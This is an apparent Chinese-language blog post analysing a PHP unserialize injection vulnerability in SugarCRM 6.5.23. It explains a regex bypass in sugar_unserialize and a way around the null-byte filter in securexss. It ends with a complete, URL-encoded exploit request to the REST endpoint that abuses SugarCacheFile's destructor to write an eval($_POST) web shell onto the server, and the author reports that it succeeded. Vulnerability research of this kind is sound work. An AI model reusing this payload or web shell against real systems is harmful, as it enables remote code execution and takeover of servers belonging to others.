sugarcrm_dev-6.5.23 反序列化注入分析(关于私有属性变量的标志)

这都是很早之前爆出的一个漏洞了。(http://bobao.360.cn/learning/detail/3020.html)

当时只是去研究了一下weakup()的利用,而没有实际构造exp测试这套cms的漏洞,后来在复现的时候在构造反序列化字符中的私有属性变量时,遇到了些问题,故此记录一下。

在序列化字符串中,涉及到私有属性和受保护属性时,在序列化字符中会出现%00用以标明。如下:

<?php 
class test 
{
    protected $file = 'sss.php';
    
    public function __destruct(){
        var_dump($this->file);
        echo "__destruct !<br />";
        include $this->file;
    }
    
    function __set($property_name, $value)
    { 
        $this->$property_name = $value; 
    }
    
    public function __wakeup(){
        echo "__wakeup !<br />";
    }
}
    $r = new test();
    $r->file = '../123';
    var_dump(serialize($r));
    echo urlencode(serialize($r));
    echo "<br />";
    var_dump($_GET['file']);
    unserialize($_GET['file']);
?>

由于我里面有__set()魔术方法,所以才能更改protected 变量file的值。不然在直接更改file变量的值时会报错。

http://127.0.0.1:880/sugarcrm_dev-6.5.23/12.php?file=O%3A4%3A%22test%22%3A1%3A%7Bs%3A7%3A%22%00%2a%00file%22%3Bs%3A6%3A%22..%2f123%22%3B%7D

 

我们回到这套cms。

首先,在 service/core/REST/SugarRestSerialize.php中有个server()函数,涉及到了反序列化操作。

并且$_REQUEST['method']和$_REQUEST['rest_data']两个变量我们可控,跟进sugar_unserialize()函数

发现这个正则过滤得有问题,我们可以在序列化字符串中的对象长度前加上一个 + 号,这样同样是能够反序列化成功的。

同时,在文件include/SugarCache/SugarCacheFile.php中,

可以看到__destruct()函数中,有个sugar_file_put_contents()函数,跟进,

发现并没做什么特殊的处理,可以直接写文件。这里由于file_put_contents()函数里面的参数是protected 属性的,所以需要注意构造反序列化字符串。

在看看漏洞触发点:/service/v4/rest.php

在这里就调用了我们的漏洞函数server()了,但是我直接传入序列化字符,发现其中的%00会被其中的一个检测xss的函数过滤掉,

function securexss($value) {

    if(is_array($value)){
        $new = array();
        foreach($value as $key=>$val){
               $new[$key] = securexss($val);
        }
        return $new;
    }
    static $xss_cleanup=  array("&quot;" => "&#38;", '"' =>'&quot;', "'" =>  '&#039;' , '<' =>'&lt;' , '>'=>'&gt;');
    $value = preg_replace(array('/javascript:/i', '/\0/'), array('java script:', ''), $value);
    $value = preg_replace('/javascript:/i', 'java script:', $value);
    return str_replace(array_keys($xss_cleanup), array_values($xss_cleanup), $value);
}

所以直接构造常规的序列化字符串是不行的。这里需要稍微改变一下序列化字符串中的值。

我们知道,对于十六进制形式的字符串,可以用%、\x、0x这些形式表示,而对于之前序列化字符串中标识私有属性变量的%00,也就是十六进制表示的00,就可以用\00标识,但是直接传入的话,在进行反序列化的时候php是不认的,需要把表示私有属性变量名称的 s 换成 S,(php序列化详情参考:http://www.neatstudio.com/show-161-1.shtml)看下面的测试脚本:

<?php
  var_dump(unserialize(urldecode('O:%2b14:"SugarCacheFile":3:{S:17:"%5c00*%5c00_cacheFileName";s:15:"../custom/5.php";S:16:"%5c00*%5c00_cacheChanged";b:1;S:14:"%5c00*%5c00_localStore";a:1:{i:0;s:4:"1234";}}')));//S s
  echo '<br/>';
  var_dump(unserialize(urldecode('O:%2b14:"SugarCacheFile":3:{s:17:"%00*%00_cacheFileName";s:15:"../custom/5.php";S:16:"%00*%00_cacheChanged";b:1;S:14:"%00*%00_localStore";a:1:{i:0;s:4:"1234";}}')));
  echo '<br/>';
  var_dump(unserialize(urldecode('O:4:"test":2:{s:7:"%5c00*%5c00file";s:6:"../123";s:4:"%5c00*%5c00a";s:3:"123";}')));
  echo '<br/>';
  var_dump(unserialize(urldecode('O:4:"test":2:{S:7:"%00*%00file";s:6:"../123";s:4:"%00*%00a";s:3:"123";}')));
  echo '<br/>';
  var_dump(urlencode(serialize(unserialize(urldecode('O:4:"test":2:{S:7:"%5c00*%5c00file";s:6:"../123";S:4:"%5c00*%5c00a";s:3:"123";}')))));
  echo '<br/>';
?>

可以看到,换成 S 的序列化字符串被成功反序列化。

所以,最后我们构造序列化字符串:

method=login&input_type=Serialize&rest_data=O%3A%2B14%3A%22SugarCacheFile%22%3A23%3A%7BS%3A17%3A%22%5C00%2A%5C00_cacheFileName%22%3Bs%3A15%3A%22..%2Fcustom%2F1.php%22%3BS%3A16%3A%22%5C00%2A%5C00_cacheChanged%22%3Bb%3A1%3BS%3A14%3A%22%5C00%2A%5C00_localStore%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A29%3A%22%3C%3Fphp%2Beval%28%24_POST%5B%27HHH%27%5D%29%3B%2B%3F%3E%22%3B%7D%7D

 

成功写入。

posted on 2016-11-15 19:43  镱鍚  阅读(287)  评论(0)    收藏  举报

导航